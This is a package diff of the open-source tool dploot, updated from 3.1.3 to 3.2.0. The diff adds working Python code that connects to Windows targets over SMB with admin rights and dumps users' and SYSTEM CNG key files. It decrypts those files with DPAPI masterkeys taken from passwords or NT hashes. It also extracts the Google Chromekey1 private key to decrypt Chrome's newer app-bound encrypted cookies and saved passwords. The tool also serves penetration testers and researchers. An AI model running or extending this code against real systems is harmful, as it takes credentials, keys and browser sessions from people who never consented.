dploot 3.1.3__tar.gz → 3.2.0__tar.gz

{dploot-3.1.3 → dploot-3.2.0}/PKG-INFO

@@ -1,26 +1,20 @@
-Metadata-Version: 2.3
+Metadata-Version: 2.4
 Name: dploot
-Version: 3.1.3
+Version: 3.2.0
 Summary: DPAPI looting remotely in Python
-License: MIT
+License-Expression: MIT
+License-File: LICENSE
 Keywords: DPAPI,credentials,Windows
-Author: zblurx
+Author: Thomas Seigneuret
 Author-email: seigneuret.thomas@protonmail.com
-Requires-Python: >=3.10.0,<4.0.0
-Classifier: Environment :: Console
-Classifier: License :: OSI Approved :: MIT License
-Classifier: Programming Language :: Python :: 3
-Classifier: Programming Language :: Python :: 3.10
-Classifier: Programming Language :: Python :: 3.11
-Classifier: Programming Language :: Python :: 3.12
-Classifier: Programming Language :: Python :: 3.13
 Classifier: Topic :: Security
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Environment :: Console
 Requires-Dist: cryptography (>=40.0.1)
 Requires-Dist: impacket (>=0.12.0)
 Requires-Dist: lxml (>=5.0)
 Requires-Dist: pyasn1 (>=0.4.8)
-Project-URL: Homepage, https://github.com/zblurx/dploot
-Project-URL: Repository, https://github.com/zblurx/dploot
 Description-Content-Type: text/markdown
 
 # dploot

{dploot-3.1.3 → dploot-3.2.0}/dploot/action/browser.py

@@ -11,6 +11,7 @@ from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target, add_target_argument_group
 from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
 from dploot.triage.browser import BrowserTriage, Cookie
+from dploot.triage.cng import CngTriage
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
 
 NAME = "browser"
@@ -95,6 +96,21 @@ class BrowserAction:
                 else:
                     secret.dump()
 
+            cng_chromekey = None
+
+            if self.options.v20support:
+                triage = CngTriage(
+                    target=self.target,
+                    conn=self.conn,
+                    masterkeys=self.masterkeys,
+                )
+                logging.info("Triage SYSTEM CNG files\n")
+
+                for cng_file in triage.triage_system_cng():
+                    if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
+                            logging.info("Found CNG Google ChromeKey1\n")
+                            cng_chromekey = cng_file.decrypted_private_key
+
             triage = BrowserTriage(
                 target=self.target,
                 conn=self.conn,
@@ -107,6 +123,7 @@ class BrowserAction:
             )
             triage.triage_browsers(
                 gather_cookies=self.options.show_cookies,
+                cng_chromekey=cng_chromekey,
                 bypass_shared_violation=self.options.bypass_shared_violation,
             )
             if self.outputdir is not None:

dploot-3.2.0/dploot/action/cng.py

@@ -0,0 +1,129 @@
+import argparse
+import logging
+import sys
+from typing import Callable, Tuple
+
+from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
+from dploot.triage.cng import CngTriage
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
+
+
+NAME = "cng"
+
+class CngAction:
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+        self.target = Target.from_options(options)
+
+        self.conn = None
+        self._is_admin = None
+        self.outputdir = None
+        self.masterkeys = None
+        self.pvkbytes = None
+        self.passwords = None
+        self.nthashes = None
+
+        self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
+
+        if self.options.mkfile is not None:
+            try:
+                self.masterkeys = parse_masterkey_file(self.options.mkfile)
+            except Exception as e:
+                logging.error(str(e))
+                sys.exit(1)
+
+        self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
+            self.options, self.target
+        )
+
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info(
+            "Connected to {} as {}\\{} {}\n".format(
+                self.target.address,
+                self.target.domain,
+                self.target.username,
+                ("(admin)" if self.is_admin else ""),
+            )
+        )
+        if self.is_admin:
+            if self.masterkeys is None:
+
+                def masterkey_triage(masterkey):
+                    masterkey.dump()
+
+                masterkeytriage = MasterkeysTriage(
+                    target=self.target,
+                    conn=self.conn,
+                    pvkbytes=self.pvkbytes,
+                    nthashes=self.nthashes,
+                    passwords=self.passwords,
+                    per_masterkey_callback=masterkey_triage
+                    if not self.options.quiet
+                    else None,
+                )
+                logging.info("Triage ALL USERS masterkeys\n")
+                self.masterkeys = masterkeytriage.triage_masterkeys()
+                print()
+                if self.outputdir is not None:
+                    dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
+
+            def cng_callback(cng):
+                if self.options.quiet:
+                    cng.dump_quiet()
+                else:
+                    cng.dump()
+
+            triage = CngTriage(
+                target=self.target,
+                conn=self.conn,
+                masterkeys=self.masterkeys,
+                per_cng_callback=cng_callback,
+            )
+            logging.info("Triage CNG files for ALL USERS\n")
+            triage.triage_cng()
+            if self.outputdir is not None:
+                dump_looted_files_to_disk(self.outputdir, triage.looted_files)
+        else:
+            logging.info("Not an admin, exiting...")
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+    
+
+def entry(options: argparse.Namespace) -> None:
+    a = CngAction(options)
+    a.run()
+
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+    subparser = subparsers.add_parser(
+        NAME, help="Dump users CNG files blob from local or remote target"
+    )
+
+    group = subparser.add_argument_group("cng options")
+
+    group.add_argument(
+        "-mkfile",
+        action="store",
+        help=("File containing {GUID}:SHA1 masterkeys mappings"),
+    )
+
+    add_masterkeys_argument_group(group)
+    add_target_argument_group(subparser)
+
+    return NAME, entry

dploot-3.2.0/dploot/action/machinecng.py

@@ -0,0 +1,120 @@
+import argparse
+import logging
+import sys
+from typing import Callable, Tuple
+
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
+from dploot.triage.cng import CngTriage
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
+
+
+NAME = "machinecng"
+
+
+class MachineCngAction:
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+
+        self.target = Target.from_options(options)
+
+        self.conn = None
+        self._is_admin = None
+        self.masterkeys = None
+        self.outputdir = None
+
+        self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
+
+        if self.options.mkfile is not None:
+            try:
+                self.masterkeys = parse_masterkey_file(self.options.mkfile)
+            except Exception as e:
+                logging.error(str(e))
+                sys.exit(1)
+    
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info(
+            "Connected to {} as {}\\{} {}\n".format(
+                self.target.address,
+                self.target.domain,
+                self.target.username,
+                ("(admin)" if self.is_admin else ""),
+            )
+        )
+        if self.is_admin:
+            if self.masterkeys is None:
+
+                def masterkey_triage(masterkey):
+                    masterkey.dump()
+
+                masterkeytriage = MasterkeysTriage(
+                    target=self.target,
+                    conn=self.conn,
+                    per_masterkey_callback=masterkey_triage
+                    if not self.options.quiet
+                    else None,
+                )
+                logging.info("Triage SYSTEM masterkeys\n")
+                self.masterkeys = masterkeytriage.triage_system_masterkeys()
+                print()
+                if self.outputdir is not None:
+                    dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
+
+            def cng_callback(cng_file):
+                if self.options.quiet:
+                    cng_file.dump_quiet()
+                else:
+                    cng_file.dump()
+
+            triage = CngTriage(
+                target=self.target,
+                conn=self.conn,
+                masterkeys=self.masterkeys,
+                per_cng_callback=cng_callback,
+            )
+            logging.info("Triage SYSTEM CNG files\n")
+            triage.triage_system_cng()
+            if self.outputdir is not None:
+                dump_looted_files_to_disk(self.outputdir, triage.looted_files)
+
+        else:
+            logging.info("Not an admin, exiting...")
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+
+
+def entry(options: argparse.Namespace) -> None:
+    a = MachineCngAction(options)
+    a.run()
+
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+    subparser = subparsers.add_parser(
+        NAME, help="Dump system CNG files from local or remote target"
+    )
+
+    group = subparser.add_argument_group("machinecng options")
+
+    group.add_argument(
+        "-mkfile",
+        action="store",
+        help=("File containing {GUID}:SHA1 masterkeys mappings"),
+    )
+
+    add_target_argument_group(subparser)
+
+    return NAME, entry

{dploot-3.1.3 → dploot-3.2.0}/dploot/entry.py

@@ -11,8 +11,10 @@ from dploot.action import (
     blob,
     browser,
     certificates,
+    cng,
     credentials,
     machinecertificates,
+    machinecng,
     machinecredentials,
     machinemasterkeys,
     machinetriage,
@@ -32,8 +34,10 @@ ENTRY_PARSERS = [
     blob,
     browser,
     certificates,
+    cng,
     credentials,
     machinecertificates,
+    machinecng,
     machinecredentials,
     machinemasterkeys,
     machinetriage,

dploot-3.2.0/dploot/lib/consts.py

@@ -0,0 +1,30 @@
+# Define some dploot consts.
+
+FALSE_POSITIVES = [
+    ".",
+    "..",
+    "desktop.ini",
+    "Public",
+    "Default",
+    "Default User",
+    "All Users",
+]
+
+# simple class to check for false positives, case insensitive
+class FalsePositives(list):
+    def __init__(self,
+                 false_positives: list[str] = None
+    ) -> None:
+        if false_positives is None:
+            false_positives = FALSE_POSITIVES
+
+        super().__init__(map (lambda x: x.lower(), false_positives))
+
+    def __contains__(self, name):
+        return super().__contains__(str(name).lower())
+
+    def __setitem__(self, key, value):
+        return super().__setitem__(key,str(value).lower())
+
+    def append(self, element):
+        return super().append(str(element).lower())

{dploot-3.1.3 → dploot-3.2.0}/dploot/lib/crypto.py

@@ -43,6 +43,107 @@ class CERTBLOB:
             print()
             print("DER             : %s " % (self.der))
 
+# CNG PART
+class CNG_PROPERTY(Structure):
+    structure = (
+        ("StructLen", "<L=0"),
+        ("Type", "<L=0"),
+        ("Unknown", "<L=0"),
+        ("NameLen", "<L=0"),
+        ("PropertyLen", "<L=0"),
+        ("_Name", "_-Name", 'self["NameLen"]'),
+        ("Name", ":"),
+        ("_Property", "_-Property", 'self["PropertyLen"]'),
+        ("Property", ":"),
+    )
+
+    def dump(self):
+        print("[CNG PROPERTY]")
+        print("StructLen        : %8x (%d)" % (self["StructLen"], self["StructLen"]))
+        print("Type             : %8x (%d)" % (self["Type"], self["Type"]))
+        print("Unknown          : %8x (%d)" % (self["Unknown"], self["Unknown"]))
+        print("NameLen          : %8x (%d)" % (self["NameLen"], self["NameLen"]))
+        print("PropertyLen      : %8x (%d)" % (self["PropertyLen"], self["PropertyLen"]))
+        print("Name             : %s" % (self["Name"].decode("utf-16le").rstrip("\0")))
+        print("Property         : %s" % hexlify(self["Property"]))
+
+class CNG_PROPERTIES:
+    def __init__(self, data=None, alignment=0):
+        remaining = data
+        self.properties = []
+        while len(remaining) > 0:
+            prop = CNG_PROPERTY(remaining)
+            self.properties.append(prop)
+            remaining = remaining[len(prop) :]
+    
+    def __len__(self):
+        length = 0
+        for prop in self.properties:
+            length += len(prop)
+        return length
+    
+    def dump(self):
+        for prop in self.properties:
+            prop.dump()
+
+class CNG_BLOB(Structure):
+    structure = (
+        ("Version", "<L=1"),
+        ("Unknown", "<L=0"),
+        ("NameLen", "<L=0"),
+        ("Type", "<L=0"),
+        ("PublicPropLen", "<L=0"),
+        ("PrivatePropLen", "<L=0"),
+        ("PrivateKeyLen", "<L=0"),
+        ("Unknown2", "16s=b'\\x00'*16"),
+        ("_Name", "_-Name", 'self["NameLen"]'),
+        ("Name", ":"),
+        ("_PublicProperties", "_-PublicProperties", 'self["PublicPropLen"]'),
+        ("PublicProperties", ":", CNG_PROPERTIES),
+        ("_PrivateProperties", "_-PrivateProperties", 'self["PrivatePropLen"]'),
+        ("PrivateProperties", ":", DPAPI_BLOB),
+        ("_PrivateKey", "_-PrivateKey", 'self["PrivateKeyLen"]'),
+        ("PrivateKey", ":", DPAPI_BLOB),
+    )
+
+    def dump(self):
+        print("[CNG BLOB]")
+        print("Version          : %8x (%d)" % (self["Version"], self["Version"]))
+        print("Unknown          : %8x (%d)" % (self["Unknown"], self["Unknown"]))
+        print("NameLen          : %8x (%d)" % (self["NameLen"], self["NameLen"]))
+        print("Type             : %8x (%d)" % (self["Type"], self["Type"]))
+        print("PublicPropLen    : %8x (%d)" % (self["PublicPropLen"], self["PublicPropLen"]))
+        print("PrivatePropLey   : %8x (%d)" % (self["PrivatePropLen"], self["PrivatePropLen"]))
+        print("PrivateKeyLen    : %8x (%d)" % (self["PrivateKeyLen"], self["PrivateKeyLen"]))
+        print("Unknown2         : %s " % (self["Unknown2"]))
+        print("Name             : %s" % (self["Name"].decode("utf-16le").rstrip("\0")))
+        print()
+        print("PublicProperties:")
+        self["PublicProperties"].dump()
+        print()
+        print("PrivateProperties:")
+        self["PrivateProperties"].dump()
+        print()
+        print("PrivateKey:")
+        self["PrivateKey"].dump()
+
+class CHROME_KEY_DATA_BLOB(Structure):
+    structure = (
+        ("Magic", "<I"),
+        ("Version", "<I"),
+        ("KeyLen", "<I"),
+        ("_Key", "_-Key", 'self["KeyLen"]'),
+        ("Key", ":"),
+        ("Remaining", ":")
+    )
+
+    def dump(self):
+        print("[BCRYPT KEY DATA]")
+        print("Magic            : %4x (%s)" % (self["Magic"], self["Magic"]))
+        print("Version          : %4x (%d)" % (self["Version"], self["Version"]))
+        print("KeyLen           : %4x (%d)" % (self["KeyLen"], self["KeyLen"]))
+        print("Key              : %s" % hexlify(self["Key"]))
+        print("Remaining              : %s" % hexlify(self["Remaining"]))
 
 # https://github.com/SecureAuthCorp/impacket/pull/1120
 # Private Decrypted Private Key
@@ -258,7 +359,7 @@ class PVKHeader(Structure):
 
 def pvkblob_to_pkcs1(key):
     """
-    modified from impacket dpapi.py
+    Modified from impacket dpapi.py
     parse private key into pkcs#1 format
     :param key:
     :return:
@@ -298,6 +399,8 @@ def deriveKeysFromUser(sid, password):
 
     return key1, key2, key3
 
+def byte_xor(ba1, ba2):
+    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2, strict=False)])
 
 def deriveKeysFromUserkey(sid, nthash):
     key1 = HMAC.new(nthash, (sid + "\0").encode("utf-16le"), SHA1).digest()  # SHA1

{dploot-3.1.3 → dploot-3.2.0}/dploot/lib/dpapi.py

@@ -141,7 +141,7 @@ def find_masterkey_for_credential_blob(
 
 
 def decrypt_privatekey(
-    privatekey_bytes: bytes, masterkey: Any, cng: bool = False
+    privatekey_bytes: bytes, masterkey: Any
 ) -> RSA.RsaKey:
     blob = PVKHeader(privatekey_bytes)
     blob = PVKFile_SIG(privatekey_bytes) if blob["SigHeadLen"] > 0 else PVKFile(privatekey_bytes)
@@ -152,7 +152,7 @@ def decrypt_privatekey(
 
 
 def find_masterkey_for_privatekey_blob(
-    privatekey_bytes: bytes, masterkeys: List[Any], cng: bool = False
+    privatekey_bytes: bytes, masterkeys: List[Any]
 ) -> "Any | None":
     blob = PVKHeader(privatekey_bytes)
     if len(blob["Remaining"]) == 0:

{dploot-3.1.3 → dploot-3.2.0}/dploot/lib/masterkey.py

@@ -11,10 +11,10 @@ from dploot.lib.dpapi import decrypt_masterkey
 
 
 class Masterkey:
-    def __init__(self, guid, blob = None, sid = None, key = None, sha1 = None, user: str = "None") -> None:
+    def __init__(self, guid, blob = None, sid:str = None, key = None, sha1 = None, user: str = "None") -> None:
         self.guid = guid
         self.blob = blob
-        self.sid = sid
+        self.sid = str(sid).upper()
         self.user = user
 
         self.key = key